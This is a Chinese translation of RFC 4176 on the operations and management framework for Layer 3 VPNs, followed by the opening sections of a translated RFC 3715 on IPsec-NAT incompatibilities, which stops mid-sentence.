三层虚拟专用网络 (L3VPN) 操作和管理框架
RFC4176:Framework for Layer 3 Virtual Private Networks (L3VPN) Operations and Management,October 2005本备忘录的状态本备忘录为 Internet 社区提供信息。它没有指定任何类型的 Internet 标准。本备忘录的分发不受限制。版权声明版权所有 (C) 互联网协会 (2005)。梗概本文档为三层虚拟专用网络 (Layer 3 Virtual Private Networks,L3VPN) 的操作和管理提供了框架。该框架旨在对 L3VPN 管理解决方案设计中重要的重大技术问题进行连贯的描述。特定方法的选择以及信息模型和协议之间的选择超出了本文档的范围。1、 简介1.1、 术语在本文档中,以下术语的使用和定义如下:VPNVirtual Private Network,虚拟专用网络。一组传输和交换资源,将在共享基础架构上用于处理 (IP) 流量,这些流量表征通过此 VPN 互连的站点或场所之间的通信服务。参见 [RFC4026]。L3VPNL3VPN 基于三层地址互连多组主机和路由器。参见 [RFC4026]。VPN 实例从管理的角度来看,VPN 实例是与特定 VPN 相关的配置信息的集合,位于 PE 路由器上。VPN 站点VPN 客户的位置,通过 CE-PE 链路连接到服务提供商网络,可以访问至少一个 VPN。VPN 服务提供商 (SP)提供 VPN 相关服务的服务提供商。VPN 客户指从 VPN 服务提供商处购买 VPN 的客户。客户代理表示负责请求 VPN 客户特定信息的实体。服务水平协议(SLA)服务提供商和客户之间的合同协议,其中包括定义服务质量保证和未达到服务水平时的报偿程序的定性和定量指标。服务水平规范 (SLS)服务提供商用来管理客户服务质量水平的以内部为中心的服务性能规范。1.2、 管理功能对于任何类型的三层 VPN(基于 PE 或 CE 的 VPN),建议拥有一个可以收集和管理 VPN 相关信息的管理平台。服务和网络管理系统可以集中与 VPN 实例相关的信息,并允许用户从中心位置配置和供应每个实例。SP 必须能够管理其 VPN 服务的功能和特征。客户应该有办法确保他们订购的 VPN 服务得到履行。应尽可能支持自动化操作和与标准管理协议的互操作性。确定了两个主要的管理功能:客服管理功能:此功能为客户提供查询、配置和接收(事件/警报)客户特定 VPN 服务信息的方法。客户特定信息包括与联系人、计费、站点、接入网络、IP 地址、路由协议参数等相关的数据。它还可能包括机密数据,例如加密密钥。可以使用几种解决方案:* 专有网络管理系统* SNMP 管理器* PDP功能* 目录服务等提供者网络管理功能:此功能负责规划、构建、供应和维护网络资源,以满足提供给客户的 SLA 中概述的 VPN 服务级别协议。这主要包括(1)物理链路的建立和配置,(2)逻辑VPN服务配置的提供,以及(3)VPN服务的生命周期管理,包括VPN配置的增加、修改和删除。客户服务和供应商网络管理功能之间可能存在关系,因为供应商网络被管理以支持/实现/提供客户服务。这种关系的一个示例用途是提供 VPN-SLS 保证,以验证订购的 VPN 协议的履行情况。1.3、 参考模型ITU-T 电信管理网络具有以下通用要求结构:* 从网络角度设计、部署和管理支持服务的交换、路由和传输资源(网元管理);* 管理部署在这些资源上的 VPN(网络管理);* 管理 VPN 服务(服务管理);图 1:基于 PE 的 L3VPN 管理参考模型图 2:基于 CE 的 L3VPN 管理参考模型上面,图 1 和图 2 显示了根据上述通用结构的基于 PE 和 CE 的 L3VPN 管理的参考模型。在这两种模型中,服务管理管理客户特定的属性,例如客户标识符 (Identifier,ID)、个人信息(例如姓名、地址、电话号码、信用卡号码等)、订购服务和参数、访问控制策略信息、计费和统计信息等。在基于 PE 的参考模型中,提供商网络管理器管理设备属性及其关系,涵盖 PE 设备和其他构建相应基于 PE 的 VPN 的设备。在基于 CE 的参考模型中,提供商网络管理员管理设备属性及其关系,涵盖构建相应的基于 CE 的 VPN 的 PE 和 CE 设备。负责管理 VPN 网络的网络和客户服务管理系统面临若干挑战,具体取决于它们需要管理的 VPN 网络的类型。2、 客户服务运营与管理供应商提供的服务可以从客户或供应商的角度来看待。本节从客户的角度描述服务管理,重点介绍客户管理功能。客户管理功能的目标是管理基于服务的操作,如服务订购、服务订购、激活等。客户管理功能驻留在服务管理层 (Service Management Layer,SML) 的 L3VPN 服务管理器中。它主要包括定义SP提供的L3VPN服务,收集和整合客户的L3VPN服务需求,以及为客户进行一些报告。该功能与网络管理层 (Network Management Layer,NML) 的网络管理功能相关联,用于启动 L3VPN 服务提供,并获得一些服务报告。2.1、 客户服务管理信息模型本节介绍了用于在 SML 进行 L3VPN 客户服务管理的框架。信息框架代表需要管理的数据以及它们的表示方式。在 SML,可预见的信息框架由服务水平协议 (Service Level Agreements,SLA) 和服务水平规范 (Service Level Specifications,SLS) 组成。服务通过服务水平协议 (SLA) 进行描述,服务水平协议是客户和服务提供商之间的合同文件。服务描述的技术部分称为服务水平规范 (SLS)。SLS 对不同类型的参数进行分组。有些与数据包传输的描述有关,有些与服务本身的规范有关。可以为每个接入网络连接、每个 VPN、每个 VPN 站点和/或每个 VPN 路由定义服务级别规范 (SLS)。服务提供商可以使用以下服务水平目标 (Service Level Objective,SLO) 参数至少为 SLS 定义目标和测量间隔:* QoS 和流量参数* 站点、VPN 或访问连接的可用性* 每个站点、路由或 VPN 的中断间隔持续时间* 服务激活间隔(例如,激活新站点的时间)* 故障报告响应时间间隔* 维修间隔时间* 来自站点或 (VPN) 路由的总传入/传出流量,或已通过整个 VPN 传输的总流量* 从一个站点或一个(VPN)路由,或通过整个VPN传输的不一致的传入/传出流量的测量(流量的一致性应该得到一些阐述,因为有很多方面——安全性、QoS、路由等)服务提供商和客户可以在提供商未达到(一组)SLS 性能目标的情况下协商合同处罚。应该为通过服务提供商场所和客户场所之间的分界线的传入和传出数据包定义流量参数和操作。例如,流量监管功能可以在服务提供商网络的入口处激活,而流量整形功能可以在服务提供商网络的出口处激活。2.2、 客户管理功能本节详细介绍了传统故障、配置、计费、性能和安全 (fault、configuration、accounting、performance、and security,FCAPS) 管理类别中的客户管理功能。2.2.1、 故障管理客户服务管理的故障管理功能依赖于对网络层故障信息的处理,并将事件报告给受影响的客户。此类报告应基于客户订购的 VPN 服务产品并与之相关。故障管理的客户管理功能支持包括:* 指示受故障影响的客户服务* 事件记录或日志* 测试频率* 能够从客户和提供商处调用探测* 能够在客户注意到之前发现故障2.2.2、 配置管理客户管理的配置管理功能必须能够根据提供商定义的服务模板,以客户能够指定的详细程度来配置 L3VPN 服务参数。服务模板包含在实例化时产生明确的服务要求或策略的字段。例如,IPsec 隧道 [RFC2401] 的模板将包含隧道端点、身份验证模式、加密和身份验证算法、共享密钥(如果有)和流量过滤器等字段。其他示例:基于 BGP/MPLS 的 VPN 服务模板将包含需要通过 VPN 互连的客户端等字段,而 QoS 协议模板将包含诸如单向传输延迟、包间延迟变化等字段、吞吐量和丢包阈值。2.2.3、 计费客户管理的计费管理功能提供网络层测量信息并管理该信息。客户管理负责以下计费职能:* 从 Provider Network Manager 检索计费信息* 测量的分析、存储和管理一些供应商可能需要测量信息的近实时报告,并可能将其作为客户网络管理服务的一部分提供。如果 SP 支持“动态带宽管理”服务,则执行请求的带宽分配更改所需的时间表和带宽量必须是可跟踪的,以用于监控和计费目的。解决方案应说明符合计费要求,如 [RFC2975] 的第 1.7 节所述。2.2.4、 性能管理从客户管理的角度来看,性能管理包括确定与服务级别规范的一致性级别所涉及的功能,例如 QoS 和可用性测量。目标是将计费信息与性能和故障管理信息相关联,以生成计费,该计费考虑了未满足服务水平目标的时间段内的 SLA 规定。性能信息应反映客户所感知的订购 VPN 服务的质量。该信息可以由提供商测量或由第三方控制。用于反映性能水平的参数可以在 VPN 服务协商阶段由服务提供商和客户协商并达成一致。性能管理还应支持对 L3VPN 重要方面的分析,例如带宽利用率、响应时间、可用性、QoS 统计和基于收集数据的趋势。2.2.5、 安全管理从客户管理的角度来看,安全管理功能包括保证VPN安全的管理功能。这包括设备、配置数据和访问连接的安全性。身份验证和授权(访问控制)也属于这一类。2.2.5.1、 访问控制管理访问控制确定用户对特定应用程序和网络部分的权限。如果没有这种控制,则只有数据和控制流量的安全性在其他设备或资源中受到保护(使提供 L3VPN 网络的设备不受保护)。访问控制功能保护这些设备,以确保用户只能访问他们被授权使用的资源和应用程序。2.2.5.2、 验证身份验证是验证 VPN 用户身份的过程。2.3、 客户管理功能描述本节提供了关于 SML 层的 L3VPN 管理框架架构的高级示例。目标是将第 2.2 节中描述的客户管理功能映射到架构功能块,并描述与其他 L3VPN 管理功能的通信。图 3:服务管理概述客户必须能够查看与已订购的 VPN 服务产品相关的拓扑、操作状态、订单状态和其他参数。由 SP 管理的有关 CE 设备和 L3VPN 客户属性的管理信息的所有方面都应该能够由经过身份验证的授权服务管理器进行配置和维护。客户代理应该能够动态请求更改描述服务的参数。客户应该能够从 SP 网络接收响应这些请求的响应(以必要协议的存在为模)。客户代理和 (VPN) 服务提供商之间的通信将依赖于查询/响应机制。可能无法负担管理其 CPE 的资源的客户应该能够将 VPN 的管理外包给支持网络的服务提供商。2.3.1、 L3VPN 服务产品管理希望 VPN 的部署能够满足客户的需求。因此,提供商必须有办法宣传其提供的基于 VPN 的服务。然后,潜在客户可以选择他们想要订购的服务。附加功能可能与此订购阶段相关联,例如选择与 VPN 服务交付相关的质量级别、SP 执行的 VPN 服务管理级别、安全选项等。2.3.2、 L3VPN服务订单管理该操作旨在管理客户发起的请求,并跟踪相关操作的实现状态。订单的激活取决于满足客户要求的资源的可用性以及商定的保证(请注意,这可能是客户和供应商之间谈判阶段的结果)。2.3.3、 L3VPN 服务保障客户可能需要评估与供应商签订的 SLA 履行情况的方法。因此,供应商应该监控、测量并向客户提供统计信息,假设双方就测量方法以及相应(一组)服务质量指标的规范达成一致。3、 供应商网络管理3.1、 提供商网络管理定义在一个域(或由单个 SP 管理的一组域)内实施 VPN 架构时,SP 必须能够查看 VPN 场所的物理和逻辑拓扑、VPN 运行状态、VPN 服务排序状态、 VPN 服务处理、VPN 服务激活状态以及与每个客户的 VPN 相关的其他方面。从提供商的角度来看,VPN 服务的管理主要包括:* 根据 SLA 管理客户(术语“客户”表示角色而不是最终用户,因此 SP 可能是客户)和最终用户* 管理 VPN 场所(尤其是创建、修改和删除操作,将相关信息编辑到特定链接,或监督 AAA [RFC2903] [RFC2906] 操作)* 管理 CE-PE 链路(特别是创建、修改和删除链路,编辑特定 VPN 的相关信息)* 根据支持的服务类别、流量隔离等管理服务排序,例如服务质量。目前,专有方法通常用于管理 VPN。不推荐与运营商必须使用多种专有的配置相关管理方法(例如,命令行界面 (Command Line Interface,CLI) 语言)来访问此类系统相关的额外费用,因为它会影响服务的总体成本(包括利用成本),尤其是在使用多种供应商技术(因此具有多种专业知识)来支持 VPN 服务产品时。因此,设备应提供基于标准的接口。从这个角度来看,需要研究对可能的互操作性问题和此类标准化管理接口的可用性的附加要求。3.2、 网络管理功能此外,为了满足客户的服务需求,SP可以提供内部服务。其中一些可能包括动态部署资源以支持客户可见服务的概念、可能由自动故障检测支持的客户高可用性服务以及自动切换到备用 VPN。这些是通过与提供商网络管理器的 FCAPS 功能互通来实现的。3.2.1、 故障管理Provider Network Manager 对故障管理的支持包括:* 故障检测(事件报告、警报、故障可视化)* 故障定位(分析报警报告、诊断)* 纠正措施(数据路径、路由、资源分配)由于 L3VPN 依赖于公共网络基础设施,提供商网络管理器提供了一种方法来通知服务管理器有关受基础设施故障影响的 VPN 客户的信息。提供商网络管理员应提供指向相关客户配置信息的指针,以有助于故障隔离和确定纠正措施的程序。需要检测由配置错误引起的故障,因为这些可能导致 VPN 服务失败,或不满足其他要求(例如,流量和路由隔离)。一种方法可以是一种协议,该协议系统地检查是否已考虑所有约束,并且在隧道配置过程中已强制执行一致性检查。必须提供旨在检查 VPN 内 IP 可达性的功能以用于诊断目的。必须提供旨在检查 VPN 设备配置的功能以用于诊断目的。3.2.2、 配置管理提供商网络管理器必须支持配置管理功能才能部署 VPN。为此,提供商网络管理器必须提供至少提供以下 L3VPN 组件的配置管理:PE、CE、分层隧道、访问连接、路由和 QoS,如本节所述。如果提供对 Internet 的访问,则此选项也必须是可配置的。添加或删除 VPN 客户端的配置应尽可能自动化。最后,提供商网络管理器必须确保一致且正确地提供这些设备和协议。该解决方案应提供一种检查服务订单是否正确供应的方法。这将代表一种诊断配置错误的方法。配置错误可能由多种原因引起:手动配置、入侵者攻击和冲突的服务需求。L3VPN 配置管理的要求是:* 提供商网络管理器必须支持 VPN 成员资格的配置。* 提供商网络管理器应使用 SP、L3VPN、PE、CE、分层隧道和访问连接的标识符。* PE/CE 设备之间必须配置隧道。这需要协调隧道标识符、路径、VPN 和任何相关的服务信息,例如 QoS 服务。* 必须配置在 PE 路由器和 CE 设备之间运行的路由协议。对于组播服务,组播路由协议也必须是可配置的。* PE 路由器之间以及 PE 和 P 路由器之间运行的路由协议也必须配置。仅基于 PE:* 在 PE 路由器和 CE 设备之间运行的路由协议(如果有)必须基于每个 VPN 进行配置。Provider Network Manager 必须支持为每个访问连接配置 CE 路由协议。* 基于 PE 的 L3VPN 的配置应与底层基础设施的配置相协调,包括互连 L3VPN 组件的物理层和二层网络。3.2.2.1、 提供基于路由的配置信息如果在 L3VPN 中运行 IGP,则提供商网络管理器必须提供相关参数。这包括指标、容量、QoS 能力和恢复参数。3.2.2.2、 提供基于访问的配置信息Provider Network Manager 必须在 SP 管理的 PE 和 CE 设备之间提供网络访问。3.2.2.3、 提供基于安全服务的配置信息当请求安全服务时,提供商网络管理器必须提供服务提供中涉及的实体和相关参数。例如,应该在 CE 和/或 PE 路由器上提供 IPsec 服务、隧道、选项、密钥和其他参数。在入侵检测服务的情况下,过滤和检测规则应基于 VPN 提供。3.2.2.4、 配置 VPN 资源参数服务提供商应该有一种方法来动态提供与 VPN 服务相关的资源。例如,在基于 PE 的服务中,应提供虚拟交换和转发表实例的数量和大小。如果 SP 支持“动态带宽管理”服务,则执行请求的带宽分配更改所需的日期、时间、数量和间隔可能是可追踪的,以用于计费目的。如果 SP 支持“动态带宽管理”服务,则供应系统必须能够在服务级别规范中指定的范围和界限内进行请求的更改。QoS 参数的示例是响应时间和能够为此类请求提供服务的概率。动态 VPN 资源分配对于应对客户表达的频繁更改请求(例如,加入或离开 VPN 的站点)以及实现可扩展性至关重要。PE 路由器应该能够动态分配 VPN 资源。此功能对于拨号和无线 VPN 服务尤其重要。3.2.2.5、 提供增值服务访问L3VPN 服务通过公共骨干网在一组站点之间提供受控访问。但是,许多服务提供商也提供一系列增值服务,例如:Internet 访问、防火墙服务、入侵检测、IP 电话和 IP Centrex、应用程序托管、备份等。定义不在本文档的范围内这些不同的服务是否以及如何与 VPN 服务产品交互。但是,VPN 服务应该能够提供对这些不同类型的增值服务的访问。VPN 服务应允许 SP 向客户提供普通网络运营和管理所需的各种知名 IP 服务(例如 DNS、NTP、RADIUS 等)。提供商应该能够从一台或多台服务器向多个客户提供 IP 服务。可能需要防火墙功能来限制从 Internet 访问 L3VPN [Y.1311]。尽管同一物理设备将支持多个 VPN,但可以基于每个 VPN 支持托管防火墙。在这种情况下,应在 L3VPN 的接入点提供托管防火墙。这些服务可以嵌入在 CE 或 PE 设备中,也可以在独立设备中实现。提供商网络管理器应允许客户将 IP 服务的管理外包给提供 VPN 的 SP 或第三方。管理系统应支持收集必要的信息,以响应客户的订单优化分配 IP 服务,并与支持服务的提供商提供的资源相关联。如果提供了 Internet 访问,则 SP 应可配置从/到 VPN 内的站点进出 Internet 的可访问性。配置路由策略来控制发布到 Internet 的 VPN 路由的分发可以实现这一点。3.2.2.6、 配置混合 VPN 服务还应支持互通 L3VPN 解决方案的配置,同时考虑安全性和端到端 QoS 问题。3.2.3、 计费Provider Network Manager 负责资源利用率的测量。3.2.4、 性能管理从 Provider Network Manager 的角度来看,性能管理包括监控和收集有关设备、设施和服务的性能数据的功能。Provider Network Manager 必须监控设备的行为以评估与 SLS 相关的性能指标。根据提供 SLA 的服务,可能需要不同的测量技术。示例服务是 QoS、安全、组播和临时访问。这些技术可以是侵入式的或非侵入式的,这取决于被监控的参数。提供商网络管理器还必须监控与 SLS 不直接关联的 VPN 方面,例如资源利用率、设备和传输设施的状态,以及对监控资源的控制,例如网络接入点的探测器和远程代理客户和移动用户使用。支持 L3VPN(其质量级别由 SLS 定义)的设备应具有实时性能测量,其中包含指标和阈值交叉警报。这样的阈值应该是可配置的。3.2.5、 安全管理从 Provider Network Manager 的角度来看,Provider Network Manager 的安全管理功能必须包括管理功能,以保证客户流量和控制数据的机密性,如 [RFC3809] 中所述。3.2.5.1、 认证管理提供商网络管理器必须支持对尝试访问 VPN 服务的用户进行身份验证的标准方法。可扩展性至关重要,因为游牧/移动客户端的数量正在迅速增加。为此类部署实施的身份验证方案必须可管理大量用户和 VPN 接入点。需要支持强身份验证方案,以确保 VPN 接入点到 VPN 接入点(PE 到 PE)和客户端到 VPN 接入点(CE 到 PE)通信的安全性。这对于防止 VPN 接入点 (VPN AP) 欺骗尤为重要。VPN 接入点欺骗是攻击者试图让 PE 或 CE 相信攻击者是 VPN 接入点的情况。如果攻击者成功,则设备会将 VPN 流量发送给攻击者(攻击者可以在损害机密性和/或完整性后将其转发到实际(和授予的)接入点)。换句话说,未经身份验证的 VPN AP 可以被中间人攻击欺骗,因为端点很少相互验证。一个经过弱认证的 VPN AP 可能会受到这种攻击。但是,强认证的 VPN AP 不会受到此类攻击,因为强认证算法导致中间人无法认证为真正的 AP。4、 L3VPN 设备4.1、 信息模型每个 L3VPN 解决方案都必须为 L3VPN 服务中涉及的网络元素指定管理信息(MIB、PIB、XML 模式等)。这是网络配置的基本要求。该方法应识别标准跟踪 MIB 模块中未包含的任何 L3VPN 特定信息。4.2、 沟通VPN 的部署可能跨越广泛的网络设备,可能包括来自多个供应商的设备。因此,需要通过标准的管理接口和模型来简化VPN统一网络管理视图的提供。这也将促进客户自我管理(监控)的网络设备或系统。在每当要提供新服务时都需要大量配置的情况下,出于可扩展性的原因,NMS 为相关配置操作提供高度自动化的机制是很重要的。VPN 服务的手动配置(即新站点或重新配置现有站点)可能会导致可扩展性问题,应避免。因此,网络运营商通过 NMS 系统保持对 VPN 的全貌的可见性非常重要。这应该通过使用标准跟踪协议(例如 SNMP)来实现。不推荐使用专有的命令行界面。5、 安全考虑本文档描述了 L3VPN 操作和管理的框架。尽管本文档讨论并解决了上面第 2.2.5 节和第 3.2.5 节中的一些安全问题,但它没有引入任何新的安全问题。6、 致谢特别感谢 Nathalie Charton、Alban Couturier、Christian Jacquenet 和 Harmen Van Der Linde 对文件的审阅和宝贵的建议。7、 规范性参考[RFC2975] Aboba, B., Arkko, J., and D. Harrington, "Introduction to Accounting Management", RFC 2975, October 2000.
[RFC2401] Kent, S. and R. Atkinson, "Security Architecture for the Internet Protocol", RFC 2401, November 1998.
[RFC2903] de Laat, C., Gross, G., Gommans, L., Vollbrecht, J., and D. Spence, "Generic AAA Architecture", RFC 2903, August 2000.
[RFC2906] Farrell, S., Vollbrecht, J., Calhoun, P., Gommans, L., Gross, G., de Bruijn, B., de Laat, C., Holdrege, M., and D. Spence, "AAA Authorization Requirements", RFC 2906, August 2000.
[RFC3809] Nagarajan, A., "Generic Requirements for Provider Provisioned Virtual Private Networks (PPVPN)", RFC 3809, June 2004.
[RFC4026] Andersson, L. and T. Madsen, "Provider Provisioned Virtual Private Network (VPN) Terminology", RFC 4026, March 2005.
[Y.1311] ITU, "Network-based IP VPN over MPLS architecture", ITU-T Y.1311.1, 2001.完整的版权声明版权所有 (C) 互联网协会 (2005)。本文档受 BCP 78 中包含的权利、许可和限制的约束,除其中规定外,作者保留其所有权利。本文档和此处包含的信息按“原样”提供,贡献者、他/她代表或由(如果有)赞助的组织、互联网协会和互联网工程工作组不提供任何明示或暗示的,包括但不限于任何保证使用此处的信息不会侵犯任何权利或任何关于适销性或特定用途适用性的暗示保证。知识产权IETF 对可能声称与本文档中描述的技术的实施或使用有关的任何知识产权或其他权利的有效性或范围或根据此类权利可能或可能不会获得任何许可的程度不持任何立场能得到的;它也不表示它已做出任何独立努力来确定任何此类权利。有关 RFC 文档中权利的程序信息,请参见 BCP 78 和 BCP 79。向 IETF 秘书处披露的 IPR 副本,以及任何保证可用的许可,或试图获得本规范的实施者或用户使用此类专有权利的一般许可或许可的结果来自位于 http://www.ietf.org/ipr 的 IETF 在线 IPR 存储库。IETF 邀请任何相关方提请其注意任何版权、专利或专利申请,或可能涵盖实施该标准可能需要的技术的其他专有权利。请将信息发送至 IETF,地址为 ietf-ipr@ietf.org。致谢RFC Editor 功能的资金目前由 Internet Society 提供。
IPsec 网络地址转换 (NAT) 兼容性要求
RFC3715:IPsec-Network Address Translation (NAT) Compatibility Requirements,March 2004本备忘录的状态本备忘录为 Internet 社区提供信息。它没有指定任何类型的 Internet 标准。本备忘录的分发不受限制。版权声明版权所有 (C) 互联网协会 (2004)。版权所有。梗概本文档描述了网络地址转换 (Network Address Translation,NAT) 和 IPsec 之间已知的不兼容性,并描述了对它们进行寻址的要求。也许 IPsec 最常见的用途是提供虚拟专用网络功能。虚拟专用网络 (Virtual Private Networks,VPN) 的一种非常流行的用途是为远程办公人员提供对公司内部网的访问。如今,NAT 广泛部署在家庭网关以及可能被远程办公人员使用的其他位置,例如酒店。结果是 IPsec-NAT 不兼容已成为 IPsec 在其主要用途之一的部署中的主要障碍。1、 简介也许 IPsec [RFC2401] 最常见的用途是提供虚拟专用网络 (virtual private networking,VPN) 功能。VPN 的一种非常流行的用途是为远程办公人员提供对公司 Intranet 的访问。今天,[RFC3022-Traditional IP Network Address Translator (Traditional NAT)] 和 [RFC2663-IP Network Address Translator (NAT) Terminology and Considerations] 中描述的网络地址转换 (Network Address Translations,NAT) 广泛部署在家庭网关以及可能被远程办公人员使用的其他位置,例如酒店。结果是 IPsec-NAT 不兼容已成为 IPsec 在其主要用途之一的部署中的主要障碍。本文档描述了 NAT 和 IPsec 之间已知的不兼容性,并描述了解决它们的要求。1.1、 需求语言在本文档中,关键词“MAY”、“MUST”、“MUST NOT”、“optional”、“recommended”、“SHOULD”和“SHOULD NOT”将按照[RFC2119]中的描述进行解释。请注意,本文档中指定的要求将用于评估协议提交。因此,需求语言指的是这些协议的能力;协议文件将指定这些功能是必需的、推荐的还是可选的。例如,要求协议支持机密性与要求对所有协议流量进行加密不同。如果协议提交未能满足其实现的功能的一项或多项“必须”或“不得”要求,则该协议提交是不合规的。满足所有必须、不得、应该和不应该对其能力的要求的协议提交被称为“无条件兼容”;一个满足所有 MUST 和 MUST NOT 要求,但不是所有 SHOULD 或 SHOULD NOT 要求的协议被称为“有条件地兼容”。2、 NA(P)T和IPsec之间已知的不兼容性NA(P)T与IPsec的不兼容可分为三类:1) 内在 NA(P)T 问题。这些不兼容性直接源自 [RFC3022] 中描述的 NA(P)T 功能。因此,任何 NA(P)T 设备中都会存在这些不兼容性。2) NA(P)T 实施弱点。这些不兼容性不是 NA(P)T 固有的,而是存在于许多 NA(P)T 实现中。此类别中包括处理入站或出站片段方面的问题。由于这些问题不是 NA(P)T 固有的,原则上可以在未来的 NA(P)T 实现中解决。但是,由于实现问题似乎很广泛,因此需要在 NA(P)T 遍历解决方案中考虑它们。3)助手问题。这些不兼容性存在于试图提供 IPsec NA(P)T 穿越的 NA(P)T 设备中。具有讽刺意味的是,这种“助手”功能造成了进一步的不兼容性,使已经很困难的问题更难解决。虽然并非所有 NA(P)T 中都存在 IPsec 遍历“助手”功能,但这些功能正变得非常流行,因此在 NA(P)T 遍历解决方案中也需要考虑这些功能。2.1、 内在 NA(P)T 问题NA(P)T 固有的不兼容性包括:a) IPsec AH [RFC2402] 和 NAT 之间的不兼容。由于 AH 报头在密钥消息完整性检查中包含 IP 源地址和目的地址,因此 NAT 或反向 NAT 设备更改地址字段将使消息完整性检查无效。由于 IPsec ESP [RFC2406] 未在其密钥消息完整性检查中包含 IP 源地址和目的地址,因此 ESP 不会出现此问题。b) 校验和与 NAT 之间的不兼容。TCP 和 UDP 校验和通过在计算中包含“伪报头”而依赖于 IP 源地址和目的地址。因此,在接收时计算和检查校验和的情况下,它们将因通过 NAT 或反向 NAT 设备而无效。因此,如果不涉及 TCP/UDP 协议(如在 IPsec 隧道模式或 IPsec 保护的 GRE 中)或不计算校验和(如 IPv4 UDP )。如 [RFC793] 中所述,IPv4 中需要计算和验证TCP 校验和。IPv6 中需要计算和验证UDP/TCP 校验和。[RFC2960]和[RFC3309]中定义的流控制传输协议(Stream Control Transmission Protocol,SCTP)使用CRC32C算法,仅在SCTP数据包(公共头+块)上计算,因此不覆盖IP头。因此,NAT 不会使 SCTP CRC 无效,并且不会出现问题。请注意,由于传输模式 IPsec 流量受到完整性保护并使用强密码进行身份验证,因此可以在检查 UDP/TCP 校验和之前检测到对数据包的修改。因此,校验和验证仅提供针对内部处理中发生的错误的保证。c) IKE 地址标识符和 NAT 之间的不兼容。在 Internet 密钥交换协议 (Internet Key Exchange Protocol,IKE) 第 1 阶段 [RFC2409] 或第 2 阶段中将 IP 地址用作标识符的情况下,NAT 或反向 NAT 对 IP 源或目的地址的修改将导致标识符与地址中的地址不匹配。IP 报头。如 [RFC2409] 中所述,IKE 实现需要丢弃此类数据包。为了避免使用 IP 地址作为 IKE 阶段 1 和阶段 2 标识符,可以使用用户 ID 和 FQDN。如果需要用户身份验证,可以使用 ID_USER_FQDN 类型的 ID,如 [RFC2407] 中所述。在需要机器身份验证的地方,可以使用 ID_FQDN 的 ID 类型。在任何一种情况下,如果在阶段 1 中交换了证书,则有必要验证提议的标识符是否作为处理最终实体证书的结果进行了身份验证。虽然在 IKE 中可以使用 USER_FQDN 或 FQDN 身份类型,但有一些用法不能以这种方式适应的场景,例如描述子网的安全策略数据库 (Security Policy Database,SPD)条目。由于阶段2标识符中的源地址经常被用来构成一个完整的5元组入站SA选择器,所以在选择器中可以使用目的地址、协议、源端口和目的端口,以免削弱入站SA处理。d) 固定 IKE 源端口和 NAPT 之间的不兼容。在 NAPT 后面的多个主机向同一个响应者发起 IKE SA 的情况下,需要一种机制来允许 NAPT 对来自响应者的传入 IKE 数据包进行多路分解。这通常是通过转换来自发起方的出站数据包上的 IKE UDP 源端口来实现的。因此,响应者必须能够接受来自 UDP 源端口而非 500 的 IKE 流量,并且必须回复该端口。必须小心避免在重新设置密钥期间出现不可预测的行为。如果浮动源端口不用作重新加密的目标端口,NAT 可能无法将重新加密的数据包发送到正确的目的地。e) 重叠的 SPD 条目和 NAT 之间的不兼容。在 NAT 后的发起主机使用其在阶段 2 标识符中的源 IP 地址的情况下,它们可以与相同的响应者 IP 地址协商重叠的 SPD 条目。然后,响应者可以通过错误的 IPsec SA 发送数据包。发生这种情况是因为对于响应者来说,IPsec SA 似乎是等效的,因为它们存在于相同的端点之间并且可用于传递相同的流量。f) IPsec SPI 选择和 NAT 之间的不兼容性。由于 IPsec ESP 流量是加密的,因此对 NAT 是不透明的,因此 NAT 必须使用 IP 和 IPsec 报头的元素来对传入的 IPsec 流量进行多路分解。目标 IP 地址、安全协议 (AH/ESP) 和 IPsec SPI 的组合通常用于此目的。然而,由于出站和入站 SPI 是独立选择的,NAT 无法仅通过检查出站流量来确定哪个入站 SPI 对应于哪个目标主机。因此,如果 NAT 后面的两台主机试图同时在同一目的地创建 IPsec SA,则 NAT 可能会将传入的 IPsec 数据包传送到错误的目的地。请注意,这并不是与 IPsec 本身不兼容,而是与它通常的实现方式不兼容。对于 AH 和 ESP,接收主机指定用于给定 SA 的 SPI,该选择仅对接收器有意义。目前,Destination IP、SPI 和安全协议(AH、ESP)的组合唯一标识了一个安全联盟。此外,1-255 范围内的 SPI 值保留给 IANA,将来可能会使用。这意味着,在与同一个外部主机或网关协商时,同一个NAPT后面的内部主机可以选择相同的SPI值,这样一个主机入站SA是(SPI=470, Internal Dest IP=192.168.0.4)另一个不同的主机入站 SA 是(SPI=470, Internal Dest IP=192.168.0.5).接收 NAPT 将无法确定应将具有 SPI=470 的入站 IPsec 数据包转发到哪个内部主机。接收主机也可以为每个单播安全联盟分配一个唯一的 SPI。在这种情况下,只需要检查目标 IP 地址是否是“此主机的任何有效单播 IP”,而不需要检查它是否是发送主机使用的特定目标 IP 地址。使用这种技术,即使两个或多个主机与同一外部主机建立 SA,NA(P)T 也可以确保将数据包转发到错误的内部主机的可能性很小但非零。这种方法完全向后兼容,只需要特定的接收主机更改其 SPI 分配和 IPsec_esp_input() 代码。但是,NA(P)T 设备可能无法在没有解析 IKE 负载相关问题的情况下检测到此行为。并且主机可能仍需要使用 IANA 保留范围内的 SPI 用于指定目的。g) 嵌入式 IP 地址和 NAT 之间的不兼容性。由于负载受到完整性保护,因此包含在 IPsec 数据包中的任何 IP 地址都不会被 NAT 转换。这导致在 NAT 中实施的应用层网关(Application Layer Gateways,ALG) 无效。使用嵌入式 IP 地址的协议包括 FTP、IRC、SNMP、LDAP、H.323、SIP、SCTP(可选)和许多游戏。为了解决这个问题,有必要在主机或安全网关上安装 ALG,这些 ALG 可以在 IPsec 封装之前和 IPsec 解封装之后对应用程序流量进行操作。h) NA(P)T 的隐含方向性。NA(P)T通常需要一个初始的出站数据包流过它们以创建入站映射状态。方向性禁止向 NA(P)T 后面的主机主动建立 IPsec SA。i) 入站 SA 选择器验证。假设 IKE 协商阶段 2 选择器,入站 SA 处理将丢弃解封装的数据包,因为 [RFC2401] 要求数据包的源地址与 SA 选择器值匹配,ESP 数据包的 NA(P)T 处理会改变该值。2.2、 NA(P)T 实施弱点许多 NA(P)T 中存在的实施问题包括:j) 无法处理非 UDP/TCP 流量。当只有一台主机在 NAT 后面时,一些 NA(P)T 会丢弃非 UDP/TCP 流量或执行仅地址转换。此类 NAPT 无法启用 SCTP、ESP(协议 50)或 AH(协议 51)流量。k) NAT 映射超时。NA(P)T 在没有流量的情况下保持 UDP 映射的时间会有所不同。因此,即使 IKE 数据包可以被正确转换,转换状态也可能过早地被删除。l) 无法处理传出的片段。大多数 NA(P)T 可以在 IP 数据包大小超过传出接口上的 MTU 的情况下正确地对传出 IP 数据包进行分段。然而,对已经分段的传出数据包进行正确的转换是很困难的,而且大多数 NAPT 不能正确处理这一点。如 [RFC3022] 